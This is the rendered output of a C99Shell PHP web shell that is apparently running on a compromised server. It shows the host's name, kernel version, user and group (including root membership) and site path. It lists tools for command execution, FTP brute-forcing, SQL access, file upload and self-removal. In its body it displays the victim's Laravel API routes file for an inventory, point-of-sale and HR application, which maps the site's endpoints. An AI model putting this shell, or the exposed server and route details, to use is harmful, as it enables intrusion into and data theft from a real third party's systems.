!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/routes/   drwxr-xr-x
Free 28.65 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     api.php (27.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
use App\Http\Controllers\AdjustmentController;
use 
App\Http\Controllers\BrandsController;
use 
App\Http\Controllers\CategorieController;
use 
App\Http\Controllers\CategoryExpenseController;
use 
App\Http\Controllers\ClientController;
use 
App\Http\Controllers\CurrencyController;
use 
App\Http\Controllers\ExpensesController;
use 
App\Http\Controllers\PasswordResetController;
use 
App\Http\Controllers\PaymentPurchaseReturnsController;
use 
App\Http\Controllers\PaymentPurchasesController;
use 
App\Http\Controllers\PaymentSaleReturnsController;
use 
App\Http\Controllers\PaymentSalesController;
use 
App\Http\Controllers\PermissionsController;
use 
App\Http\Controllers\PosController;
use 
App\Http\Controllers\ProductsController;
use 
App\Http\Controllers\ProvidersController;
use 
App\Http\Controllers\PurchasesController;
use 
App\Http\Controllers\PurchasesReturnController;
use 
App\Http\Controllers\QuotationsController;
use 
App\Http\Controllers\ReportController;
use 
App\Http\Controllers\SalesController;
use 
App\Http\Controllers\SalesReturnController;
use 
App\Http\Controllers\SettingsController;
use 
App\Http\Controllers\ShipmentController;
use 
App\Http\Controllers\TransferController;
use 
App\Http\Controllers\UnitsController;
use 
App\Http\Controllers\UserController;
use 
App\Http\Controllers\WarehouseController;
use 
Illuminate\Support\Facades\Route;
use 
Illuminate\Http\Request;
/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
 */

Route::middleware('auth:api')->get('/user', function (Request $request) {
    return 
$request->user();
});

//--------------------------- Reset Password  ---------------------------

Route::group([
    
'prefix' => 'password',
], function () {
    
Route::post('create', [PasswordResetController::class, 'create']);
    
Route::post('reset', [PasswordResetController::class, 'reset']);
});

Route::middleware(['auth:api''Is_Active'])->group(function () {
    
//-------------------------- Clear Cache ---------------------------

    
Route::get("Clear_Cache", [SettingsController::class, 'Clear_Cache']);

    
//-------------------------- Reports ---------------------------

    
Route::get("report/client", [ReportController::class,'Client_Report']);
    
Route::get("report/client/{id}", [ReportController::class,"Client_Report_detail"]);
    
Route::get("report/client_Sales", [ReportController::class,"Sales_Client"]);
    
Route::get("report/client_payments", [ReportController::class,"Payments_Client"]);
    
Route::get("report/client_quotations", [ReportController::class,"Quotations_Client"]);
    
Route::get("report/client_returns", [ReportController::class,"Returns_Client"]);
    
Route::get("report/client_Top_Clients", [ReportController::class,"TopCustomers"]);
    
Route::get("report/TopProducts_year", [ReportController::class,"Top_Products_Year"]);
    
Route::get("report/TopProducts_Month", [ReportController::class,"TopProducts_Month"]);
    
Route::get("report/provider", [ReportController::class,"Providers_Report"]);
    
Route::get("report/provider/{id}", [ReportController::class,"Provider_Report_detail"]);
    
Route::get("report/provider_purchases", [ReportController::class,"Purchases_Provider"]);
    
Route::get("report/provider_payments", [ReportController::class,"Payments_Provider"]);
    
Route::get("report/provider_returns", [ReportController::class,"Returns_Provider"]);
    
Route::get("report/ToProviders", [ReportController::class,"ToProviders"]);
    
Route::get("report/Sales", [ReportController::class,"Report_Sales"]);
    
Route::get("report/Purchases", [ReportController::class,"Report_Purchases"]);
    
Route::get("report/Get_last_Sales", [ReportController::class,"Get_last_Sales"]);
    
Route::get("report/stock_alert", [ReportController::class,"Products_Alert"]);
    
Route::get("report/Payment_chart", [ReportController::class,"Payment_chart"]);
    
Route::get("report/Warehouse_Report", [ReportController::class,"Warehouse_Report"]);
    
Route::get("report/Sales_Warehouse", [ReportController::class,"Sales_Warehouse"]);
    
Route::get("report/Quotations_Warehouse", [ReportController::class,"Quotations_Warehouse"]);
    
Route::get("report/Returns_Sale_Warehouse", [ReportController::class,"Returns_Sale_Warehouse"]);
    
Route::get("report/Returns_Purchase_Warehouse", [ReportController::class,"Returns_Purchase_Warehouse"]);
    
Route::get("report/Expenses_Warehouse", [ReportController::class,"Expenses_Warehouse"]);
    
Route::get("report/Warhouse_Count_Stock", [ReportController::class,"Warhouse_Count_Stock"]);
    
Route::get("report/Warhouse_Value_Stock", [ReportController::class,"Warhouse_Value_Stock"]);
    
Route::get("report/report_today", [ReportController::class,"report_today"]);
    
Route::get("report/count_quantity_alert", [ReportController::class,"count_quantity_alert"]);
    
Route::get("report/ProfitAndLoss", [ReportController::class,"ProfitAndLoss"]);
    
Route::get("chart/SalesPurchasesChart", [ReportController::class,"SalesPurchasesChart"]);
    
Route::get("chart/report_with_echart", [ReportController::class,"report_with_echart"]);
    
Route::get("report/report_dashboard", [ReportController::class,"report_dashboard"]);

    
Route::get("report/top_products", [ReportController::class,"report_top_products"]);
    
Route::get("report/top_customers", [ReportController::class,"report_top_customers"]);

    
Route::get("report/users", [ReportController::class,"users_Report"]);
    
Route::get("report/stock", [ReportController::class,"stock_Report"]);
    
Route::get("report/get_sales_by_user", [ReportController::class,"get_sales_by_user"]);
    
Route::get("report/get_quotations_by_user", [ReportController::class,"get_quotations_by_user"]);
    
Route::get("report/get_sales_return_by_user", [ReportController::class,"get_sales_return_by_user"]);
    
Route::get("report/get_purchases_by_user", [ReportController::class,"get_purchases_by_user"]);
    
Route::get("report/get_purchase_return_by_user", [ReportController::class,"get_purchase_return_by_user"]);
    
Route::get("report/get_transfer_by_user", [ReportController::class,"get_transfer_by_user"]);
    
Route::get("report/get_adjustment_by_user", [ReportController::class,"get_adjustment_by_user"]);

    
Route::get("report/get_sales_by_product", [ReportController::class,"get_sales_by_product"]);
    
Route::get("report/get_quotations_by_product", [ReportController::class,"get_quotations_by_product"]);

    
Route::get("report/get_sales_return_by_product", [ReportController::class,"get_sales_return_by_product"]);
    
Route::get("report/get_purchases_by_product", [ReportController::class,"get_purchases_by_product"]);
    
Route::get("report/get_purchase_return_by_product", [ReportController::class,"get_purchase_return_by_product"]);
    
Route::get("report/get_transfer_by_product", [ReportController::class,"get_transfer_by_product"]);
    
Route::get("report/get_adjustment_by_product", [ReportController::class,"get_adjustment_by_product"]);
    
Route::get("report/client_pdf/{id}", [ReportController::class,"download_report_client_pdf"]);
    
Route::get("report/provider_pdf/{id}", [ReportController::class,"download_report_provider_pdf"]);
    
Route::get("report/serial-expires", [ReportController::class,"Report_Serial_Expiry"]);


    
//------------------------------- HRM --------------------------\\


    //------------------------------Employee------------------------------------\\

    
Route::resource('employees''hrm\EmployeesController');
    
Route::post('employees/import/csv''hrm\EmployeesController@import_employees');
    
Route::post('employees/delete/by_selection''hrm\EmployeesController@delete_by_selection');
    
Route::get("get_employees_by_department""hrm\EmployeesController@Get_employees_by_department");
    
Route::put("update_social_profile/{id}""hrm\EmployeesController@update_social_profile");
    
Route::get("get_experiences_by_employee""hrm\EmployeesController@get_experiences_by_employee");
    
Route::get("get_accounts_by_employee""hrm\EmployeesController@get_accounts_by_employee");

    
//------------------------------- Employee Experience ----------------\\
    //--------------------------------------------------------------------\\

    
Route::resource('work_experience''hrm\EmployeeExperienceController');


    
//------------------------------- Employee Accounts bank ----------------\\
    //--------------------------------------------------------------------\\

    
Route::resource('employee_account''hrm\EmployeeAccountController');


    
//------------------------------- company --------------------------\\
    //--------------------------------------------------------------------\\
    
Route::resource('company''hrm\CompanyController');
    
Route::get("get_all_company""hrm\CompanyController@Get_all_Company");
    
Route::post("company/delete/by_selection""hrm\CompanyController@delete_by_selection");


    
//------------------------------- departments --------------------------\\
    //--------------------------------------------------------------------\\
    
Route::resource('departments''hrm\DepartmentsController');
    
Route::get("get_all_departments""hrm\DepartmentsController@Get_all_Departments");
    
Route::get("get_departments_by_company""hrm\DepartmentsController@Get_departments_by_company")->name('Get_departments_by_company');
    
Route::post("departments/delete/by_selection""hrm\DepartmentsController@delete_by_selection");

    
//------------------------------- designations --------------------------\\
    //--------------------------------------------------------------------\\
    
Route::resource('designations''hrm\DesignationsController');
    
Route::get("get_designations_by_department""hrm\DesignationsController@Get_designations_by_department");
    
Route::post("designations/delete/by_selection""hrm\DesignationsController@delete_by_selection");

    
//------------------------------- office_shift ------------------\\
    //----------------------------------------------------------------\\

    
Route::resource('office_shift''hrm\OfficeShiftController');
    
Route::post("office_shift/delete/by_selection""hrm\OfficeShiftController@delete_by_selection");

    
//------------------------------- Attendances ------------------------\\
    //--------------------------------------------------------------------\\
    
Route::resource('attendances''hrm\AttendancesController');
    
Route::get("daily_attendance""hrm\AttendancesController@daily_attendance")->name('daily_attendance');
//    Route::post('attendance_by_employee/{id}', 'hrm\EmployeeSessionController@attendance_by_employee')->name('attendance_by_employee.post');
    
Route::post("attendances/delete/by_selection""hrm\AttendancesController@delete_by_selection");



    
//------------------------------- Request leave  -----------------------\\
    //----------------------------------------------------------------\\

    
Route::resource('leave''hrm\LeaveController');
    
Route::resource('leave_type''hrm\LeaveTypeController');
    
Route::post("leave/delete/by_selection""hrm\LeaveController@delete_by_selection");
    
Route::post("leave_type/delete/by_selection""hrm\LeaveTypeController@delete_by_selection");


    
//------------------------------- holiday ----------------------\\
    //----------------------------------------------------------------\\

    
Route::resource('holiday''hrm\HolidayController');
    
Route::post("holiday/delete/by_selection""hrm\HolidayController@delete_by_selection");

    
//------------------------------- core --------------------------\\
    //--------------------------------------------------------------------\\

    
Route::prefix('core')->group(function () {

        
Route::get("get_departments_by_company""hrm\CoreController@Get_departments_by_company");
        
Route::get("get_designations_by_department""hrm\CoreController@Get_designations_by_department");
        
Route::get("get_office_shift_by_company""hrm\CoreController@Get_office_shift_by_company");
        
Route::get("get_employees_by_company""hrm\CoreController@Get_employees_by_company");

    });


    
//------------------------------- CLIENTS --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('clients'"ClientController");
    
Route::get('clients/export/Excel', [ClientController::class,'exportExcel']);
    
Route::post('clients/import/csv', [ClientController::class,'import_clients']);
    
Route::get('Get_Clients_Without_Paginate', [ClientController::class,'Get_Clients_Without_Paginate']);
    
Route::post('clients/delete/by_selection', [ClientController::class,'delete_by_selection']);


    
//------------------------------- Providers --------------------------\\
    //--------------------------------------------------------------------\\

    
Route::resource('providers'"ProvidersController");
    
Route::get('providers/export/Excel', [ProvidersController::class,'exportExcel']);
    
Route::post('providers/import/csv', [ProvidersController::class,'import_providers']);
    
Route::post('providers/delete/by_selection', [ProvidersController::class,'delete_by_selection']);

    
//---------------------- POS (point of sales) ----------------------\\
    //------------------------------------------------------------------\\

    
Route::post('pos/CreatePOS', [PosController::class,'CreatePOS']);
    
Route::post('pos/calculTotal', [PosController::class,'CalculGrandTotal']);
    
Route::get('getArticlesByCategory/{id}', [PosController::class,'getArticlesByCategory']);
    
Route::get('GetProductsByParametre', [PosController::class,'GetProductsByParametre']);
    
Route::get('pos/GetELementPos', [PosController::class,'GetELementPos']);

    
//------------------------------- PRODUCTS --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('Products',"ProductsController");
    
Route::get('Products/export/Excel', [ProductsController::class,'export_Excel']);
    
Route::post('Products/import/csv', [ProductsController::class,'import_products']);
    
Route::get('Products/Warehouse/{id}', [ProductsController::class,'Products_by_Warehouse']);
    
Route::get('Products/Detail/{id}', [ProductsController::class,'Get_Products_Details']);
    
Route::get('Products/Stock/Alerts', [ProductsController::class,'Products_Alert']);
    
Route::get('Products/Get_element/barcode', [ProductsController::class,'Get_element_barcode']);
    
Route::post('Products/delete/by_selection', [ProductsController::class,'delete_by_selection']);

    
// Route::get('Products/filter/{id}/{input}', 'ProductsController@Filter_Products');


    //------------------------------- Category --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('categories'"CategorieController");
    
Route::post('categories/delete/by_selection', [CategorieController::class,'delete_by_selection']);

    
//------------------------------- Units --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('units'"UnitsController");
    
Route::get('Get_Units_SubBase', [UnitsController::class,'Get_Units_SubBase']);
    
Route::get('Get_sales_units', [UnitsController::class,'Get_sales_units']);
    
//------------------------------- Brands--------------------------\\
    //------------------------------------------------------------------\\
    
Route::resource('brands'"BrandsController");
    
Route::post('brands/delete/by_selection', [BrandsController::class,'delete_by_selection']);

    
//------------------------------- Currencies --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('currencies'"CurrencyController");
    
Route::get('Get_Currencies/All', [CurrencyController::class,'Get_Currencies']);
    
Route::post('currencies/delete/by_selection', [CurrencyController::class,'delete_by_selection']);


    
//------------------------------- WAREHOUSES --------------------------\\

    
Route::resource('warehouses'"WarehouseController");
    
Route::get('Get_Warehouses/All', [WarehouseController::class,'Get_Warehouses']);
    
Route::post('warehouses/delete/by_selection', [WarehouseController::class,'delete_by_selection']);

    
//------------------------------- PURCHASES --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('purchases'"PurchasesController");
    
Route::get('purchases/Payments/{id}', [PurchasesController::class,'Get_Payments']);
    
Route::post('purchases/send/email', [PurchasesController::class,'Send_Email']);
    
Route::post('purchases/send/sms', [PurchasesController::class,'Send_SMS']);
    
Route::get('purchases/export/Excel', [PurchasesController::class,'exportExcel']);
    
Route::post('purchases/delete/by_selection', [PurchasesController::class,'delete_by_selection']);


    
//------------------------------- Payments  Purchases --------------------------\\
    //------------------------------------------------------------------------------\\

    
Route::resource('payment/purchase'"PaymentPurchasesController");
    
Route::get('payment/purchase/Number/Order', [PaymentPurchasesController::class,'getNumberOrder']);
    
Route::get('payment/purchase/export/Excel', [PaymentPurchasesController::class,'exportExcel']);
    
Route::post('payment/purchase/send/email', [PaymentPurchasesController::class,'SendEmail']);
    
Route::post('payment/purchase/send/sms', [PaymentPurchasesController::class,'Send_SMS']);

    
//-------------------------------  Sales --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('sales'"SalesController");
    
Route::get('sales/Change_to_Sale/{id}', [SalesController::class,'Elemens_Change_To_Sale']);
    
Route::get('sales/payments/{id}', [SalesController::class,'Payments_Sale']);
    
Route::post('sales/send/email', [SalesController::class,'Send_Email']);
    
Route::post('sales/send/sms', [SalesController::class,'Send_SMS']);
    
Route::get('sales/export/Excel', [SalesController::class,'exportExcel']);
    
Route::post('sales/delete/by_selection', [SalesController::class,'delete_by_selection']);

    
//-------------------------------  Shipments --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('shipments'"ShipmentController");
    
Route::get('shipments/export/Excel', [ShipmentController::class,'exportExcel']);


    
//------------------------------- Payments  Sales --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('payment/sale'"PaymentSalesController");
    
Route::get('payment/sale/Number/Order', [PaymentSalesController::class,'getNumberOrder']);
    
Route::get('payment/sale/export/Excel', [PaymentSalesController::class,'exportExcel']);
    
Route::post('payment/sale/send/email', [PaymentSalesController::class,'SendEmail']);
    
Route::post('payment/sale/send/sms', [PaymentSalesController::class,'Send_SMS']);

    
//------------------------------- Expenses --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('expenses'"ExpensesController");
    
Route::get('expenses/export/Excel', [ExpensesController::class,'exportExcel']);
    
Route::post('expenses/delete/by_selection', [ExpensesController::class,'delete_by_selection']);


    
//------------------------------- Expenses Category--------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('expensescategory'"CategoryExpenseController");
    
Route::post('expensescategory/delete/by_selection', [CategoryExpenseController::class,'delete_by_selection']);


    
//------------------------------- Quotations --------------------------\\
    //------------------------------------------------------------------\\
    
Route::resource('quotations'"QuotationsController");
    
Route::post('quotations/sendQuote/email', [QuotationsController::class,'SendEmail']);
    
Route::post('quotations/send/sms', [QuotationsController::class,'Send_SMS']);
    
Route::get('quotations/export/Excel', [QuotationsController::class,'exportExcel']);
    
Route::post('quotations/delete/by_selection', [QuotationsController::class,'delete_by_selection']);

    
//------------------------------- Sales Return --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('returns/sale'"SalesReturnController");
    
Route::post('returns/sale/send/email', [SalesReturnController::class,'Send_Email']);
    
Route::post('returns/sale/send/sms', [SalesReturnController::class,'Send_SMS']);
    
Route::get('returns/sale/export/Excel', [SalesReturnController::class,'exportExcel']);
    
Route::get('returns/sale/payment/{id}', [SalesReturnController::class,'Payment_Returns']);
    
Route::post('returns/sale/delete/by_selection', [SalesReturnController::class,'delete_by_selection']);

    
//------------------------------- Purchases Return --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('returns/purchase'"PurchasesReturnController");
    
Route::post('returns/purchase/send/email', [PurchasesReturnController::class,'Send_Email']);
    
Route::post('returns/purchase/send/sms', [PurchasesReturnController::class,'Send_SMS']);
    
Route::get('returns/purchase/export/Excel', [PurchasesReturnController::class,'exportExcel']);
    
Route::get('returns/purchase/payment/{id}', [PurchasesReturnController::class,'Payment_Returns']);
    
Route::post('returns/purchase/delete/by_selection', [PurchasesReturnController::class,'delete_by_selection']);

    
//------------------------------- Payment Sale Returns --------------------------\\
    //--------------------------------------------------------------------------------\\

    
Route::resource('payment/returns_sale'"PaymentSaleReturnsController");
    
Route::get('payment/returns_sale/Number/order', [PaymentSaleReturnsController::class,'getNumberOrder']);
    
Route::get('payment/returns_sale/export/Excel', [PaymentSaleReturnsController::class,'exportExcel']);
    
Route::post('payment/returns_sale/send/email', [PaymentSaleReturnsController::class,'SendEmail']);
    
Route::post('payment/returns_sale/send/sms', [PaymentSaleReturnsController::class,'Send_SMS']);

    
//------------------------------- Payments Purchase Returns --------------------------\\
    //---------------------------------------------------------------------------------------\\

    
Route::resource('payment/returns_purchase'"PaymentPurchaseReturnsController");
    
Route::get('payment/returns_purchase/Number/Order', [PaymentPurchaseReturnsController::class,'getNumberOrder']);
    
Route::get('payment/returns_purchase/export/Excel', [PaymentPurchaseReturnsController::class,'exportExcel']);
    
Route::post('payment/returns_purchase/send/email', [PaymentPurchaseReturnsController::class,'SendEmail']);
    
Route::post('payment/returns_purchase/send/sms', [PaymentPurchaseReturnsController::class,'Send_SMS']);

    
//------------------------------- Adjustments --------------------------\\
    //------------------------------------------------------------------\\

    
Route::resource('adjustments'"AdjustmentController");
    
Route::get('adjustments/detail/{id}', [AdjustmentController::class,'Adjustment_detail']);
    
Route::get('adjustments/export/Excel', [AdjustmentController::class,'exportExcel']);
    
Route::post('adjustments/delete/by_selection', [AdjustmentController::class,'delete_by_selection']);

    
//------------------------------- Transfers --------------------------\\
    //--------------------------------------------------------------------\\
    
Route::resource('transfers'"TransferController");
    
Route::get('transfers/export/Excel', [TransferController::class,'exportExcel']);
    
Route::post('transfers/delete/by_selection', [TransferController::class,'delete_by_selection']);

    
//------------------------------- Users --------------------------\\
    //------------------------------------------------------------------\\

    
Route::get('GetUserAuth', [UserController::class,'GetUserAuth']);
    
Route::get("/GetPermissions", [UserController::class,'GetPermissions']);
    
Route::resource('users'"UserController");
    
Route::put('users/Activated/{id}', [UserController::class,'IsActivated']);
    
Route::get('users/export/Excel', [UserController::class,'exportExcel']);
    
Route::get('users/Get_Info/Profile', [UserController::class,'GetInfoProfile']);
    
Route::put('updateProfile/{id}', [UserController::class,'updateProfile']);

    
//------------------------------- Permission Groups user -----------\\
    //------------------------------------------------------------------\\

    
Route::resource('roles'"PermissionsController");
    
Route::get('roles/check/Create_page', [PermissionsController::class,'Check_Create_Page']);
    
Route::get('getRoleswithoutpaginate', [PermissionsController::class,'getRoleswithoutpaginate']);
    
Route::post('roles/delete/by_selection', [PermissionsController::class,'delete_by_selection']);


    
//------------------------------- Settings ------------------------\\
    //------------------------------------------------------------------\\
    
Route::resource('settings'"SettingsController");

    
Route::put('pos_settings/{id}', [SettingsController::class,"update_pos_settings"]);
    
Route::get('get_pos_Settings', [SettingsController::class,"get_pos_Settings"]);

    
Route::put('SMTP/{id}', [SettingsController::class,'updateSMTP']);
    
Route::post('SMTP', [SettingsController::class,'CreateSMTP']);
    
Route::get('getSettings', [SettingsController::class,'getSettings']);
    
Route::get('getSMTP', [SettingsController::class,'getSMTP']);
    
Route::get('get_sms_config', [SettingsController::class,'get_sms_config']);


    
Route::post('payment_gateway', [SettingsController::class,'Update_payment_gateway']);
    
Route::post('sms_config', [SettingsController::class,'sms_config']);
    
Route::get('Get_payment_gateway', [SettingsController::class,'Get_payment_gateway']);

    
//------------------------------- Backup --------------------------\\
    //------------------------------------------------------------------\\

    
Route::get("/GetBackup", [ReportController::class,'GetBackup']);
    
Route::get("/GenerateBackup", [ReportController::class,'GenerateBackup']);
    
Route::delete("/DeleteBackup/{name}", [ReportController::class,'DeleteBackup']);

});

//-------------------------------  Print & PDF ------------------------\\
//------------------------------------------------------------------\\

Route::get('Sale_PDF/{id}', [SalesController::class,'Sale_PDF']);
Route::get('Quote_PDF/{id}', [QuotationsController::class,'Quotation_pdf']);
Route::get('Purchase_PDF/{id}', [PurchasesController::class,'Purchase_pdf']);
Route::get('Return_sale_PDF/{id}', [SalesReturnController::class,'Return_pdf']);
Route::get('Return_Purchase_PDF/{id}', [PurchasesReturnController::class,'Return_pdf']);
Route::get('Payment_Purchase_PDF/{id}', [PaymentPurchasesController::class,'Payment_purchase_pdf']);
Route::get('payment_Return_sale_PDF/{id}', [PaymentSaleReturnsController::class,'payment_return']);
Route::get('payment_Return_Purchase_PDF/{id}', [PaymentPurchaseReturnsController::class,'payment_return']);
Route::get('payment_Sale_PDF/{id}', [PaymentSalesController::class,'payment_sale']);
Route::get('Sales/Print_Invoice/{id}', [SalesController::class,'Print_Invoice_POS']);


Route::get('Products/filter/{id}/{input}', [ProductsController::class,"Filter_Products"]);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--